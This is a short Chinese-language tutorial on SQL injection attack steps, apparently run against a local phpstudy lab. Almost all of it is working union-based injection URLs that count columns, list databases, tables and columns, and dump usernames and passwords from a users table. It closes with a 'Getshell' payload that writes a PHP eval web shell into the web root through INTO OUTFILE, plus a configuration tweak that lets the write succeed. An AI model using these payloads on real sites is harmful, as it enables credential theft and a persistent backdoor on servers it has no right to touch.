web渗透——SQL注入漏洞攻击步骤
注入思想:
1、找到注入点:判断是否有漏洞,寻找插入位置
2、构造注入语句,并在注入点注入形成新的SQL语句
3、新形成的SQL语句提交数据库处理
4、数据库执行新的SQL语句,引发注入攻击
操作流程
1、寻找注入点:
2、爆出列数:
http://127.0.0.1/sql/1/?id=1'+ORDER+BY+4 --+
http://127.0.0.1/sql/1/?id=1'+ORDER+BY+5 --+
3、一次性显示数据库名称、版本号:
http://127.0.0.1/sql/1/?id=1'+UNION+ALL+SELECT+1,2,3,4 --+
http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4 --+
4、获取库名:
http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),4 --+
5、获取表名:
http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x7365637572697479),4 --+
6、获取列名:
http://127.0.0.1/sql/1/?id=-1' UNION ALL SELECT1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),3,4--+
7、获取用户数据信息:
http://127.0.0.1/sql/1/?id=-1' UNION ALL SELECT 1,(SELECT+GROUP_CONCAT(id,username,password,lei+SEPARATOR+0x3c62723e)+FROM+security.users),3,4--+
8、Getshell:
http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,3,"<?php @eval($_POST['as']); ?>" into outfile "D://Study SoftWare//phpstudy//PHPTutorial//WWW//webshell123.php" --+
这种情况下,是phpstudy的文件权限只可读;在数据库配置文件my.ini中的[mysqld]模块中插入secure_file_priv="D:/StudySoftWare/phpstudy/PHPTutorial/WWW"即可,其中绝对路径可以修改。